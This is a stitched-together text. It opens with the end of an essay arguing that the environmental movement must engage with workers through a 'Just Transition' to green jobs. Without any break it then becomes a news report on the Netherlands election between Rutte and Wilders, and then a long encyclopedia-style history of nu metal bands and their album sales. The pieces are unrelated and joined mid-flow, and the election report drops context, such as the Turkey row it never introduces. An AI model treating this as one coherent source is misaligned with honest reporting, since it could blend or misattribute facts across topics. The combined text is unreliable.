Thus, the critical point that this article seeks to underline is that the Greens, and environmental organisations more generally, need to engage with the concerns and interests of workers beyond the seemingly default policy position which simplistically says “workers you will find a job in the growing ‘green’ industries”. A deepening policy commitment in this area by the green movement could force this policy challenge onto the Australian political landscape and ensure the necessary active role of government in responding to, and implementing policy for, the environment work challenge.
It needs to be acknowledged that elements of the environment movement, particularly the climate justice movement, have taken stronger and more nuanced positions on these issues. See for example, the Leap Manifesto, connected to Naomi Klein’s recent book, mentioned earlier, and her argument that climate change offers an opportunity for deep social change including the re-imagining of work; the 350 movement and its suggestion that de-investment from polluting capital can be reinvested into green job creating industries; and in Australia the Earthworker Co-Operative, which is seeking to create green work opportunities in Victoria’s Latrobe Valley.
Major Challenges Confronting Work, Workers and the Environment
What are some of the major challenges and missing concepts within the current political debate about greening work and transitioning the economy?
The new ‘green’ jobs may be in a different location to the ‘old’ industries that need to be shutdown. What happens to these later communities and their social networks? What happens to the infrastructure within these ‘old’ industries and communities? Moreover, climate change impacts may leave particular communities, regions and industries unviable.
For example, agricultural communities in the western districts of Western Australia’s Wheatbelt region have experienced significant declines in rainfall, making this agricultural land and the communities that depend on it more marginal. Similarly, a warming climate in Canada has resulted in the geographical spread of mountain pine beetle infestations in the province of British Columbia, the spread of the beetle creates more tree deaths and impacts the location of the forestry industry which impacts the communities that rely upon it. Should these communities just be abandoned?
The new work in the greener economy could be poorly paid or low skilled. There is evidence that many of the new jobs created within green industries are low wage and low skill, while the promised high-tech production and manufacturing jobs are primarily being created outside the advanced industrial economies of the United States, Europe and Australia, in places like China.8 It is hard enough to sell the idea of transitioning from existing polluting jobs to new or different jobs to workers, but it is near impossible to promote the transition to greener work if the green switch will also result in a reduction in pay, conditions and decent work opportunities.
If the wages and conditions of the new jobs do not parallel those that are to be lost in ‘old industries’, the possibility of gaining widespread support from workers and unions for the need for an environmental transformation of the economy becomes even more difficult and hard to sell than it currently is. And rightly so, green jobs and the other job growth areas (in the Australian context this is the services sector, health and education) need to be decent well-paid jobs, not just any job. There is scope, in addressing the challenge of climate change, to improve the wages and conditions of the jobs that we need and want, but also to re-think work; for example, working few hours as advocated by the ‘de-growth’ movement.9
Moreover, there is also a need to re-frame how society and workers view some green jobs. For instance, land rehabilitation work will create many jobs into the future but is widely seen as not a ‘real’ job, perhaps reinforced by the fact that such work has often been associated with government programmes like ‘work for the Dole’. Thus, these types of green jobs need a form of social upgrading, which would be best achieved by government mandating decent wages and conditions.
The new jobs that emerge in a greened economy may see a shift from manual work to service based work or may be differently skilled, the workforce will therefore require significant retraining. These changes may involve significant transformations to our education systems to retrain workers and to better equip new graduates with knowledge about environmental issues. How will this be achieved, who will pay?
There is some emerging evidence that employers have used the environment to discipline workers. Carey and Tufts10 highlight how the transport authority in Toronto Canada used environmental concern to constrain labour actions by casting the strike actions of public transit workers in Toronto as harmful to the environment and community as it limited access to low emission public transit.
Moreover, when the green economy and green job creation is discussed there are significant gender issues. When job opportunities in new green industries are discussed the focus is almost always on industries such as electricity generation, manufacturing or transportation, industries dominated by men. Industries dominated by women are largely ignored, despite the fact that industries like healthcare need to significantly improve their environmental impacts and that these are, and will continue to be, industries with significant employment opportunities.
Beyond the more immediate workplace relations issues that need to be resolved in Australia, where and how green technology is produced is significant. Technological shifts and disruptions are fundamental to the move to green jobs and industries. Currently, approximately 1.5 million Australian homes have rooftop solar and it is predicted that by around 2020 1 million Australian homes will also have some form of battery storage technology installed. This is great news for job creation in the solar and battery installation industry. However, disruptive green technology is not necessarily produced in some magical eco lab where workers and the environment are both respected and cared for. As stated above, many of the jobs associated with these industries are created in low wage locations. The production of green technologies contains many interesting contradictions between environmental benefits at the user end versus human and environmental costs at the production end.
Boading, a city to the Southwest of Beijing in China, has been labelled the greenest city in the world or the world’s only carbon positive city. This is because Boading produces enormous quantities of wind turbines and solar cells for the United States and Europe and has approximately 170 alternative energy companies based there. The air in the city of Boading was declared to be the most polluted in China in 2014 where air pollution is considered to contribute to 1.2 million deaths a year. We should be excited about the shift to greener cars and affordable home electricity storage units, but in the process of starting to solve the technological challenges of climate change we must ensure that we are not creating environmental problems, particularly for the largely unseen workers and communities further up the production stream.
These technological developments and much of the enthusiasm that surrounds them, also lend themselves to the idea that solving environmental problems, particularly climate change, is primarily a technological adjustment and life as we know it can continue at pace. However, these technological advances and the jobs of the future need to be considered within a wider environmental and social context, thus the environmental puzzle is perhaps more complex then many of the current green visions presented to us suggest.
If as I have stated all industries and jobs must be greened and some, such as those in highly polluting industry must be closed down, how does this take place while also been mindful of the challenges highlighted above?
A Possible Solution, Creating A Just Transition
The answer that some unions, researchers and environmental organisations, particularly the climate justice movement, have promoted in response to the above challenges is the idea of a Just Transition. The concept of Just Transition is driven by an understanding that an economy wide greening process is necessary, but that this development needs to provide decent worker and community outcomes. The Just Transition framework therefore calls for a long-term, burden sharing, green planning that involves: strategic state policies; insurance programmes for effected workers; worker and community participation in the planning and operationalising of the green transition; education and training; and negotiated green adjustment plans between workers, employers and government. At its core Just Transition seeks to establish that greening the world of work needs to be a managed process between the community, unions, government and industry, and one that places workers and their local communities at the centre. Commitments to what a Just Transition response constitutes are highly variable and must be seen as operating across a spectrum from passively supporting environmental responses that prioritise enhancing economic objectives and short-term worker interests to pursuing radically transformative strategies built on worker participation that seek to place environmental and social needs at the centre of political economic processes. The challenge here is that this environmentally focused Just Transition has been talked about a lot, but not implemented and is unlikely to be realised in the current political economy where capital is so dominate.
So what does a Just Transition require from key players?
The state must be more active. The Just Transition to a green economy requires governments at all levels to engage in long term planning and active policy interventions to ensure two key things: that affected communities and workers are not cut loose to fend for themselves, and that Australia invests in building up the industries that provide well paid, ecologically and social sustainable work. This includes the ‘flagship’ green industries like renewable energy, but it should also include other industries such as healthcare, education and retail.
Employers and business must be engaged in more than just creative, but meaningless green actions. Currently, business almost exclusively look at environmental issues through the lens that waste is bad for the bottom line, being green makes economic sense, the next economic growth wave is the sustainability revolution. While this holds some truth, rationalising green actions in these terms is also highly problematic, as ecological actions quickly become framed within a cost benefit analysis. As Wright and Nyberg’s recent book Climate Change, Capitalism, and Corporations highlights,
‘[c]orporate environmentalism is chiefly geared towards being a little less unsustainable amid growing destruction: it is this fantasy that enables the corporate environmental movement to overlook or, better still, obstruct more radical sustainability practices.’11
Workers and communities must be more actively involved in green practices and decision-making. There are some emerging examples of this active participation in the form of green workplace bargaining. At its core green bargaining should be about greening the labour process, workplaces and ultimately contemporary society, with the aim of engaging workers and management in this goal. Green bargaining can therefore be described as union, worker and management negotiated initiatives to reduce greenhouse gas emissions produced in the workplace, and changes to the labour process in order to ensure environmental sustainability. Green bargaining may be achieved within formal industrial relations frameworks in the form of green clauses within enterprise bargaining agreements (EBAs) or via wider union, management or worker employment relations. In workplaces where the reduction of greenhouse gas emissions will unavoidably result in job losses or significant workplace reorganisation, green bargaining may also seek to ensure a Just Transition within management worker negotiated agreements.
Within workplaces, green bargaining may aim to establish independent greenhouse gas emission (GHG) audits, clear and routinely updated emissions reduction targets, the regular communication of environmental results, a management worker environment committee and green training and skills development for both employees and employers. Joint worker management environmental committees may set emission targets, specific strategies for reducing environmental harms and ensure that agreed environmental strategies are adhered to. These types of workplace actions will require the Australian industrial relations system to bring environmental issues into its purview. However, the trend in Australia is in the opposite direction. For example, the recent Productivity Commission report recommends further restrictions on the content of enterprise bargaining agreements and areas where workers can exercise a voice.
What if we fail to realise a Just Transition in the shift to a greener economy? It may be best to think about this question by looking at the fate of other workers and communities that have gone through such a significant shift. The auto region around the Great Lakes of North America provides a stark example of a recent and very painful shift that has not been well managed. The impact on workers and the community in the years following the crises in the North American auto industry have been profound. Victor Chen in his book Cut Loose, tracks some of these outcomes comparing the experiences of workers in Canada and the United States.12 While the stories of this transition are varied, some critical lessons can be drawn from here when thinking about the transitioning of industries and workers in response to the environmental crisis.
What Chen finds when he visits these communities and ex-auto workers is devastating. Many of the workers have not been able to find work. Those that have found work are primarily working in low wage, precarious jobs in the service industry. The education programmes that many of the workers enrolled in are poorly run or the ex-auto workers’ educational backgrounds are so low that they struggle to keep up. Piled on top of these work and education challenges are family breakdown, home evictions, bankruptcy and health problems. While both the United States and Canadian governments provided short-term support, the workers have largely been Cut Loose by a government, society and economy that does not need them anymore. This is not a uniquely Canadian or American experience. Research tracking the outcomes of workers who lost their jobs in the mid 2000s at the Mitsubishi plant in South Australia also found workers struggling to find work, and those that did find work were primarily employed in precarious forms of employment.13 If the transition to a greener economy is going to be successful and garner the support of workers we need to do much better than cutting workers adrift with few prospects for decent jobs.
Conclusion
The point I wanted to get across in this short essay is that the world of work is critical to the successful shift to a green economy. More particularly, that work and need to be taken more seriously by the environment movement, the Greens, other political parties and by government, which otherwise have a credibility gap when it comes to the work-environment challenge. In turn, many sections of the union movement need to take this transformation seriously instead of holding on to the past industries that are no longer environmentally and socially defensible. This shift could equal devastating outcomes for many workers and communities or it could be managed via direct government policy interventions with the support of the majority of workers, unions, environmental groups and business with the aim of trying to smooth out the transition to a green economy and achieve the best possible outcome. We have a choice, but critical questions need to be asked and answered, some of these are:
Which parts of the economy will lose employment? Which will gain? How will traditional industries and services adapt technology, work design and work practices? Is Australia prepared to train the labour force for:New work designs and skills in traditional industries?Green industries, professions and occupations?Continued employment? What kinds of employment transitions will be needed? How will these be provided? What communities will have to be abandoned? How will this process be managed. What changes will have to be made to regulations for construction of workplaces buildings; roads; bridges; public transport, hospitals Retrofitting will become a major industry: will governments invest adequately? What additional roles will government be asked to play? Education?
These are the questions that researchers in Canada’s Adapting Canadian workplaces lead by Prof. Carla Lipsig-Mumme are seeking to consider and understand. They are important policy questions for the Australian environmental movement to grapple with and respond to. They are also challenges that must be dealt with and implemented by government if a socially just green agenda is to be realised.
Notes
Disclaimer: The views expressed here are not the official position of the IWW (or even the IWW’s EUC) and do not necessarily represent the views of anyone but the author’s.Amsterdam (CNN) Voters in the Netherlands are heading to the polls Wednesday in an election widely seen as an indicator of populist sentiment across Europe.
With the first round of the French presidential election just over a month away and Germany headed to the ballot box later this year, the Dutch battle is being closely watched for clues to wider political trends.
Conservative Prime Minister Mark Rutte is facing a tight battle with far-right rival Geert Wilders, whose anti-immigrant, anti-Islam tirades have landed him in court -- but also won him widespread support in a country that is increasingly polarized by austerity and immigration issues.
Rutte's Party for Freedom and Democracy, the VVD, leads the latest Peilingwijzer poll of polls by Leiden University, but Wilders' Freedom Party, the PVV, is hot on its heels.
The Dutch political landscape is splintered, with 28 parties on the ballot, and the country's system of proportional representation means some form of coalition government is almost guaranteed.
Rise of populism
The Netherlands vote will be studied for insight into a wider populist trend in Europe and elsewhere.
Close to a dozen European countries will hold elections this year with populist-nationalists, many buoyed by US President Donald Trump's victory, riding high in the polls. A strong showing for them could put the European Union, already rocked by Britain's impending exit, under greater strain.
In France, Marine Le Pen -- who wants France to drop the euro and has threatened, like Wilders, to hold a Brexit-style referendum on quitting the European Union -- has made her right-wing National Front party a leading contender in April's presidential ballot.
Meanwhile, German Chancellor Angela Merkel, who's due to meet with Trump this week, faces attacks from the right over her handling of Europe's refugee crisis.
JUST WATCHED Meet Geert Wilders, Holland's Donald Trump Replay More Videos... MUST WATCH Meet Geert Wilders, Holland's Donald Trump 01:58
But Wilders' popularity has slipped in recent weeks, said Quentin Peel, associate fellow at London-based think tank Chatham House -- and he believes that could be down in part to Trump's arrival in power.
"I think that very well-grounded, middle-of-the-road, solid Dutch citizens have been a bit concerned about what has been happening in Washington," Peel said.
"The trouble is [the results] are very difficult to predict. You've got no less than 28 parties running in this campaign, and you're probably going to... end up with a very complicated coalition and Mr. Wilders is not going to be part of it."
A volunteer at a polling station in Prinsengracht, Amsterdam, told CNN that the significance of the election appeared to have motivated voters to turn out.
"It's incredible. They already had 500 voters. It's a really big turnout," said Hanneke Spijker, a yachting journalist in her 50s. "It's on and on and there were lines -- we never have lines! Lots of people coming here. It's a very important election."
Poll position but no gold
Should Rutte's lawmakers form the largest group in the 150-seat House of Representatives, he is expected to form a new coalition government with at least three other parties, giving him a third term in office.
JUST WATCHED The Netherlands: The identity election Replay More Videos... MUST WATCH The Netherlands: The identity election 04:42
But maintaining the status quo is exactly what many Dutch voters have tired of, and Wilders rated strongly in pre-election polls thanks to his no-nonsense rhetoric and often controversial views. Other parties -- including Rutte's VVD -- have lurched to the right in response.
Musician and actor Ron Mesland, from Amsterdam, said he was concerned about the wider impact of Wilders' popularity. "Most other parties seem to adopt his speech and his ideas, and that really worries me," he said.
Ruud Koole, politics professor at the University of Leiden, said that in the event Wilders secures the most seats in the House of Representatives, the country's political system would likely make it extremely difficult for him to govern. "The problem for Wilders is that other parties do not want to enter a coalition with the PVV," he said.
Koole said Wilders is popular because he speaks to the specific concerns of some voters, "about unemployment, about health care, but especially about the Dutch national identity, which lead to foreigners, immigrants, asylum seekers, also refugees.
"Voters for Wilders don't really believe that he has the solutions to solve these problems, but at least he expresses their concerns."
Author Bert Nap in Amsterdam voted for a progressive party.
Voter Bert Nap, an author who lives in Amsterdam, said he hoped the rise of populist sentiment would mean that issues around national identity and integration that trouble a large part of the population -- though not him -- were now out in the open.
"Now you can address these problems and these feelings, rather than deny them and let [the voters] all go to the populist party that can cash in on it," he said.
Nap said he himself voted for the progressive PvdA party because it had had the guts to go into government with Rutte's party, despite that making it "very unpopular" with many supporters.
Military historian Kathie J. Somerwil, 86, said she had voted strategically -- for Rutte. "With this Wilders, I think this is not the Dutch way and with what's going on in America, I must vote for the most strategic thing to keep the balance," she said.
Tensions with Turkey
Turkey's President Recep Tayyip Erdogan responded by accusing the Dutch of being responsible for the massacre of Bosnian Muslims in Srebrenica in 1995, when Dutch UN peacekeepers failed to protect them from Bosnian Serb forces.
Donald Tusk, President of the European Council, waded into the diplomatic row Wednesday, tweeting that Rotterdam was "destroyed by Nazis" but now has a Moroccan-born mayor. "Anyone seeing fascism there is detached from reality. We are Europeans & proud," he said.
Andre Krouwel, a political scientist with the Free University Amsterdam, told CNN that Erdogan had in effect handed Rutte the election "on a silver platter" through his actions.
"[Rutte] needed to show statesmanship and a strong position against anti-immigration and anti-Islam," he said. "It was an electoral dream moment. You couldn't script this."
Robin Vanstraalen, a research analyst based in Amsterdam, said he thought Rutte had handled the situation with Turkey well, and that it had influenced how friends of his had voted.
He predicts, given the Netherlands' fragmented politics, that forming a government will "be a long process and eventually it will end up in the middle -- which is where we have been for the last few years already."
Key issues for voters
According to preliminary Eurostat data, the Netherland's economy grew by 2.1% last year, and investors have remained reasonably calm throughout the campaign.
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such as Korn,[121][122] Limp Bizkit[123] and Slipknot.[124][125] Many of the first nu metal bands, such as Korn[126] and Deftones,[127] came from California; however, the genre soon spread across the United States and many bands arose from various states, including Limp Bizkit from Florida,[83] Staind from Massachusetts, and Slipknot from Iowa.[129] In the book Brave Nu World, Tommy Udo wrote about the nu metal band Coal Chamber, "There's some evidence to suggest that Coal Chamber were the first band to whom the tag 'nu metal' was actually applied, in a live review in Spin magazine."
In 1994, Korn released their self-titled debut album, which is widely considered the first nu metal album.[101][131] Korn had experienced underground popularity at this time; their debut album peaked at number 72 on the Billboard 200.[133] In the same year, P.O.D.'s album Snuff the Punk was also released, which was later recognized as another early example of nu metal.[134] In 1995, the band Sugar Ray released its debut studio album Lemonade and Brownies, an album described as nu metal.[135] In 1995, Deftones released their debut album Adrenaline. The album peaked at number 23 on the Heatseekers Albums chart on October 5, 1996.[136] Deftones also were temporarily controversial in 1996 when their vocalist Chino Moreno was blamed by TV news reports for a riot that occurred at the 1996 U-Fest festival.[137] Deftones' 1997 album Around the Fur peaked at number 29 on the Billboard 200 on November 15, 1997.[138] Both Adrenaline and Around the Fur were certified gold by the Recording Industry Association of America (RIAA) in the summer of 1999.Adrenaline and Around the Fur were certified platinum by the RIAA in September 2008 and June 2011, respectively.[139][140]
Sepultura's 1996 album Roots features nu metal elements that were considered influential to the genre,[94][141] while Roots itself was influenced by Korn's self-titled debut album.[94][142][143] Few bands were playing nu metal until 1997 when bands such as Coal Chamber,[144] Limp Bizkit,[145] and Papa Roach[146] all released their debut albums. Attention through MTV and Ozzy Osbourne's 1995 introduction of Ozzfest was integral to the launching of the careers of many nu metal bands, including Limp Bizkit in 1998.
Nu metal began to rise in popularity when Korn's 1996 album Life Is Peachy peaked at number 3 on the Billboard 200[133] and sold 106,000 copies in its first week of release. In 1997, Sugar Ray released its second studio album Floored. The album achieved mainstream success very quickly and was certified 2x platinum by the RIAA on February 20, 1998.[150] Although Floored is a nu metal album,[151] the only song from the album that achieved chart success was the song "Fly",[152] which is instead a reggae song.[153] Although Sugar Ray continued to be extremely popular,[152] the band abandoned the nu metal genre and became a pop rock band with its 1999 studio album 14:59.[154]
1998–2003: Mainstream popularity [ edit ]
pictured) helped launch nu metal into the mainstream. Korn () helped launch nu metal into the mainstream.
In 1998, nu metal became one of the most mainstream genres of music when Korn's third album Follow the Leader peaked at number 1 on the Billboard 200,[133] was certified 5x platinum by the RIAA,[155] and paved the way for other nu metal bands.[49] At this point, many nu metal bands were signed to major record labels,[5] and were playing combinations of heavy metal, hip hop, industrial, grunge and hardcore punk styles.[5] Hip hop artists Vanilla Ice[156][157] and Cypress Hill,[158] along with heavy metal bands Sepultura,[94][141][156] Primus,[159][160] Fear Factory,[156][161] Machine Head,[162][163] and Slayer[164] released albums that draw from the nu metal genre.
In 1999, Korn's fourth studio album Issues peaked at number 1 on the Billboard 200.[133][165] The album was certified 3× platinum in one month.[166] The album sold at least 573,000 copies in its first week of release[165] and its first single "Falling Away From Me" peaked at number 8 on the Bubbling Under Hot 100 Singles chart.[167] A little before the album was released, Korn appeared on an episode of South Park titled "Korn's Groovy Pirate Ghost Mystery", in which "Falling Away from Me" was premiered.[168][169] During the late 1990s and early 2000s, multiple nu metal bands such as Korn,[170][171] Limp Bizkit[172] and P.O.D.[174][175] appeared repeatedly on MTV's Total Request Live.
The Woodstock 1999 festival featured multiple nu metal artists and bands such as Korn, Kid Rock, Godsmack, Limp Bizkit and Sevendust.[178][179][180] During and after Limp Bizkit's performance at the festival, violence occurred and people tore plywood from the walls during the performance of the band's song "Break Stuff".[181][182] Several sexual assaults were reported to have happened during the festival;[183] a rape that was reported during Limp Bizkit's performance, and gang rape was reported to have occurred during Korn's set at the festival.[184] Despite the incidents at the festival, Limp Bizkit's popularity and the sales of their then-recent album Significant Other were not affected.[181] The album peaked at number 1 on the Billboard 200, selling 643,874 copies in its first week of release, topping over one million sold in two weeks, and eventually being certified 7x platinum in 2001.[186] Significant Other sold at least 7,237,123 copies in the United States.[187]
The nu metal band Slipknot performing in Buenos Aires in 2005.
Orgy became popular in the late 1990s with their album Candyass, which was certified platinum by the RIAA in July 1999.[188] The band's cover of "Blue Monday" by New Order peaked at number 56 on the Billboard Hot 100.[189] Godsmack's self-titled debut album was released in 1998 and was certified 4× platinum in December 2001.[190] In April 1999, Kid Rock's album Devil Without a Cause was certified by gold by the RIAA.[191] The following month, Devil Without a Cause, as Kid Rock predicted, went platinum.[191] The album sold at least 9,300,000 copies in the United States[192] and was certified 11x platinum.[191] In 1999, Slipknot emerged with an extremely heavy nu metal sound, releasing their self-titled album, which was certified platinum in 2000 and 2x platinum in 2005.[193] In a review of the band's self-titled album, Rick Anderson of AllMusic wrote about Slipknot, "You thought Limp Bizkit was hard? They're the Osmonds. These guys are something else entirely."[194]
Disturbed performing in 2005
In 1999, Staind's second album Dysfunction was released; the track "Mudshovel" peaked at number 10 on the Mainstream Rock chart.[195] Dysfunction was certified 2x platinum by the RIAA.[196] In 2000, Limp Bizkit's third studio album Chocolate Starfish and the Hot Dog Flavored Water set a record for highest week-one sales of a rock album, selling over 1,000,000 copies in the United States in its first week of release—400,000 of which sold on its first day of release, making it the fastest-selling rock album ever and breaking the world record held for seven years by Pearl Jam's Vs.[197] Chocolate Starfish and the Hot Dog Flavored Water by Limp Bizkit was certified 6x platinum[198] and sold at least 8,000,000 copies in the United States.[199] That same year, both Papa Roach's second studio album Infest[200] and Disturbed's debut studio album The Sickness[201] were released. The RIAA certified The Sickness 4× platinum[202] and Infest 3× platinum.[203] Disturbed's song "Down with the Sickness" was certified platinum by the RIAA.[204] Papa Roach's song "Last Resort" peaked at number 57 on the Billboard Hot 100 and at number 1 on the Modern Rock Tracks chart.[205] In 2000, P.O.D.'s album The Fundamental Elements of Southtown went platinum in the United States[206] and was the 143rd best-selling album of 2000.[207] The album's song "Rock the Party (Off the Hook)" went to number 1 on MTV's Total Request Live.[208] In 2000, the hip hop group Cypress Hill released their fifth studio album Skull & Bones, which features a nu metal and rap metal style.[65][158] The album went platinum in the United States in two months.[209] During the early 2000s, the nu metal band Incubus[210][212][213][214][215] was very popular and made the albums Make Yourself and Morning View, which both were certified 2x platinum by the RIAA.[216][217]
Linkin Park in 2006.
Late in 2000, Linkin Park released their debut album Hybrid Theory, which was the best-selling debut album by any artist of any genre in the 21st century.[218] The album was also the best-selling album of 2001,[219] selling more than albums such as Celebrity by NSYNC and Hot Shot by Shaggy.[220] Linkin Park earned a Grammy Award for their second single "Crawling".[221] Their fourth single, "In the End", was released late in 2001 and peaked at number 2 on the Billboard Hot 100 in March 2002.[222][223] In 2001, Linkin Park's album Hybrid Theory sold 4,800,000 copies in the United States, making it the highest-selling album of the year.[219][220] Linkin Park's album Hybrid Theory was certified diamond by the RIAA[224] and sold at least 10,222,000 copies in the United States.[225] In 2000, Godsmack released their second studio album Awake, which was certified 2x platinum in March 2002.[226] The album's title track peaked at number 1 on the Mainstream Rock chart.[227] Both the album's title track and the song "Sick of Life" have been featured on the United States Navy's television commercials.[228]
Crazy Town's debut album The Gift of Game peaked at number 9 on the Billboard 200,[229] went platinum in February 2001,[230] and sold at least 1,500,000 copies in the United States.[231] Worldwide, the album sold at least 2,500,000 copies.[232] Staind's 2001 album Break the Cycle debuted at number 1 on the Billboard 200[195] with at least 716,000 copies sold in its first week of release,[233] selling more than albums such as Survivor by Destiny's Child, Lateralus by Tool and Miss E... So Addictive by Missy Elliott.[233][234] Break the Cycle by Staind was certified 5x platinum by the RIAA in 2003.[235] In March 2001, Saliva released their second album Every Six Seconds and the album was certified platinum.[236] The album's song "Click Click Boom" was used as the theme song for WWE's No Mercy event of 2001.[237][238][239] "Click Click Boom" also has been played during football games.[54] Saliva's song "Your Disease" peaked at number 7 on Billboard's Modern Rock Tracks chart and peaked at number 3 on Billboard's Mainstream Rock chart.[240]
In August 2001, Slipknot released their album Iowa, which peaked at number 3 on the Billboard 200[241] and went platinum in October 2001.[242] Critic John Mulvey called the album the "absolute triumph of nu metal".[243] P.O.D.'s 2001 album Satellite went triple-platinum[244] and peaked at number 6 on the Billboard 200.[245] P.O.D.'s popularity continued in the year 2002.[246] On June 5, 2001,[247] Drowning Pool released a nu metal album[248] titled Sinner, which features the song "Bodies".[249] The album went platinum on August 23, 2001[247] and its song "Bodies" became one of the most frequently played videos on MTV for new bands.[250] "Bodies" went to number 6 on the Mainstream Rock chart[251] and was used by Boston Red Sox closer Jonathan Papelbon as his theme song.[252]
[253] Nu metal band Godsmack has been compared to the grunge/heavy metal band Alice in Chains.
Alien Ant Farm's album Anthology, which was released in 2001,[254] sold at least 1,900,000 copies in the United States[255] and was certified platinum by the RIAA the same year.[256] Alien Ant Farm's cover of Michael Jackson's song "Smooth Criminal"[254] peaked at number 23 on the Billboard Hot 100.[257] In 2001, System of a Down's album Toxicity peaked at number 1 on the Billboard 200.[258] In November 2002, Toxicity was certified 3x platinum by the RIAA.[259] In 2002, the soundtrack album for the film The Scorpion King was released and peaked at number 1 on the Top Soundtracks chart;[260] it features multiple nu metal bands such as Drowning Pool, Coal Chamber, Lifer, Sevendust, Flaw and Godsmack.[261] Godsmack's track "I Stand Alone" was the most played active rock song in 2002 for fourteen consecutive weeks.[262] "I Stand Alone" also peaked at number 1 on the Mainstream Rock chart.[227]
In 2003, MTV wrote that nu metal's mainstream popularity was declining, citing that Korn's fifth album Untouchables and Papa Roach's third album Lovehatetragedy both sold less than the bands' previous releases.[263] Korn's lead vocalist Jonathan Davis blamed music piracy for the amount of sales of Untouchables because the album had been leaked to the Internet more than four months before its official release date.[264][265] MTV also wrote that nu metal bands were played less frequently on radio stations and MTV began focusing on other musical genres.[32][263] MTV wrote that Papa Roach's third album Lovehatetragedy has less hip hop elements than the band's previous album Infest[263] and also said that Saliva's 2002 album Back into Your System has less hip hop elements than the band's 2001 album Every Six Seconds.[3] MTV also wrote that Crazy Town's second album Darkhorse had no hit singles and sold less than the band's previous album The Gift of Game.[3] MTV wrote that although Kid Rock's album Cocky had characteristics of the musician's 1998 album Devil Without a Cause, Cocky's song "Forever", which featured the style of Kid Rock's nu metal[57] song "Bawitdaba", was not as popular as Cocky's country song "Picture".[3] MTV also wrote, "Another cause for nü-metal and rap-rock's slip from the spotlight could be a diluted talent pool caused by so many similar-sounding bands. American Head Charge, Primer 55, Adema, Cold, the Union Underground, Dope, Apartment 26, Hed (Planet Earth) and Skrape—all of whom released albums between 2000 and 2001—left more of a collective impression than individual ones".[3]
Despite what MTV wrote, the RIAA certified Korn's album Untouchables platinum in July 2002,[266] and one of the album's singles, "Here to Stay", peaked at number 72 on the Billboard Hot 100,[267] won a Grammy, had a lot of radio play,[263] and peaked at number one on MTV's Total Request Live twice.[268] Untouchables sold at least 434,000 copies in first week of release and peaked at number 2 on the Billboard 200.[269][270] "Thoughtless", another single from Korn's album Untouchables, also was successful; the single reached number 11 on the Billboard Modern Rock Tracks chart and number 6 on the Billboard Mainstream Rock chart.[267] However, Untouchables still did not sell as many copies as Korn's most commercially successful album, Follow the Leader.[63][263] Papa Roach's song "She Loves Me Not", which is from the band's 2002 album Lovehatetragedy, peaked at number 76 on the Billboard Hot 100.[205]
[271] Evanescence is known for combining nu metal with elements of gothic rock.
Despite the MTV report that nu metal was declining, nu metal remained extremely popular with bands such as Linkin Park, Godsmack, Trapt, and Evanescence. Linkin Park's remix album Reanimation was released in July 2002[272] and sold more than a million copies that year, which MTV described as "impressive for a remix album".[246] Trapt's 2002 song "Headstrong" launched the band into the mainstream; the song peaked at number 16 on the Billboard Hot 100,[273] number 4 on the Mainstream Top 40 chart[274] and number 1 on the Billboard Mainstream Rock Tracks chart.[275] Trapt's song "Still Frame" peaked at number 69 on the Billboard Hot 100.[273] The band's self-titled album was certified platinum by the RIAA in 2003.[276] Evanescence's debut album Fallen was released in March 2003. Johnny Loftus of AllMusic noted the nu metal sound of the album.[271] Fallen's Grammy Award-winning[277][278] lead single "Bring Me to Life" peaked at number 5 on the Billboard Hot 100 chart[279] and number 1 on the Mainstream Top 40 chart.[280] In 2003, Linkin Park's album Meteora peaked at number 1 on the Billboard 200[281] and sold at least 810,000 copies in its first week of being released.[282] Meteora by Linkin Park and Fallen by Evanescence ranked third and fourth respectively on the best-selling albums of 2003.[283] Both Linkin Park and Evanescence released high-charting singles throughout 2003 to mid-2004.[223][279] Fallen by Evanescence sold at least 7,600,000 copies in the United States[284] and Meteora by Linkin Park sold at least 6,100,000 copies in the United States.[285] In 2003, Korn released a song called "Did My Time", which peaked at number 38 on the Billboard Hot 100.[267] That same year, Godsmack released their third studio album Faceless, which peaked at number 1 on the Billboard 200[286][287] and was certified platinum by the RIAA in its first five weeks of being released.[287]
2003–2009: Decline [ edit ]
Most of nu metal's mainstream popularity sharply declined in 2003 and 2004.[63][288][289] After a period of mainstream success with bands such as Godsmack, Trapt, Linkin Park and Evanescence, nu metal declined in popularity. Limp Bizkit's 2003 album Results May Vary, which features alternative rock music[290] and nu metal music,[291] peaked at number 3 on the Billboard 200,[292] with sales of at least 325,000 copies in its first week of being released.[293] In three weeks of being released, the album had sold at least 500,000 copies.[293] In 2004, Blabbermouth.net reported that, according to Nielsen SoundScan, Results May Vary sold 1,337,356 copies in the United States.[294] However, the album garnered very poor critical reception[295] and consequently performed much weaker than previous Limp Bizkit albums such as Significant Other and Chocolate Starfish and the Hot Dog Flavored Water.[288] Although Korn's album Take a Look in the Mirror's song "Did My Time" peaked at number 38 on the Billboard Hot 100,[267] the album sold less than previous Korn albums Issues and Untouchables.[288] In 2004, post-punk revival bands such as Jet and The Darkness were achieving mainstream success as the popularity of nu metal declined.[288] During the mid-2000s, the popularity of emo exceeded the declining popularity of nu metal.[15] Also, during the mid-2000s, metalcore, a fusion of extreme metal and hardcore punk, became one of the most popular genres in the new wave of American heavy metal.[296]
"We've really moved away from anything that sounds like nu-metal. I know that we kind of helped create, I guess, the sound of that genre, but I hate that genre. I'm not going to speak for everyone, but I can personally tell you that I am not a big fan of almost everybody in that category. There are a few bands that I don't really believe belong in there, and we're one of those bands." Chester Bennington of Linkin Park on the style of Minutes to Midnight.[297]
In the mid-to-late 2000s, many nu metal bands experimented with other genres and sounds. Linkin Park's third studio album Minutes to Midnight, released in 2007, was noted for its complete departure from the band's nu metal sound.[298] Nu metal bands such as Disturbed[299][300] and Drowning Pool[248] moved to a hard rock or standard heavy metal sound. Slipknot also departed from their nu metal sound[301] and included elements of groove metal, death metal and thrash metal into their music.[302][303] Staind and Papa Roach moved to lighter sounds.[vague][304][305] Staind's 2003 album 14 Shades Of Grey does not express as much anger as the band's previous albums[306] and shows the band's departure from heavy metal elements and a movement towards a lighter sound.[vague][307] Papa Roach abandoned the nu metal genre with their 2004 album Getting Away with Murder,[308] moving to a hard rock style.[309][310]
"Here's the deal: say in 2000, there were 35 million people who connected to this band. Twelve years later, lots of those people have moved on. We were a moment in time and it's over." Limp Bizkit vocalist Fred Durst on his band's decline in popularity.[311]
